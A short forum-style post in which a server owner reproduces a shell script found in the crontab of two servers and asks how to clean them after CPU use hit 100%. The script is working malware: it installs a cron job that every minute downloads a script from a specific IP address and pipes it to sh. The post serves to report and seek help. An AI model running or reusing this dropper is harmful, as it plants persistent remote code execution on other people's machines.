Found this script in the crontab of two of my servers - one a box server on an Airtel fiber line and the other in the cloud (Linode).

#!/bin/sh
LDR="wget -q -O -"
if [ -s /usr/bin/curl ]; then
LDR="curl"
fi
if [ -s /usr/bin/wget ]; then
LDR="wget -q -O -"
fi
crontab -l | grep -e "54.36.185.99" | grep -v grep
if [ $? -eq 0 ]; then
echo "c"
else
(
crontab -l 2>/dev/null
echo "* * * * * $LDR http://54.36.185.99/c.sh | sh > /dev/null 2>&1"
) | crontab -
fi

Both servers were losing their mind - processor utilisation going 100%. The worm clearly passed on from the cloud to the box server, because the box server had been off ever since lockdown began in March and was only powered on this afternoon.

I wonder how much I need to sanitise my servers. What all could have been installed. I have turned off the server in the cloud for now. IP traces to an ISP in Poland.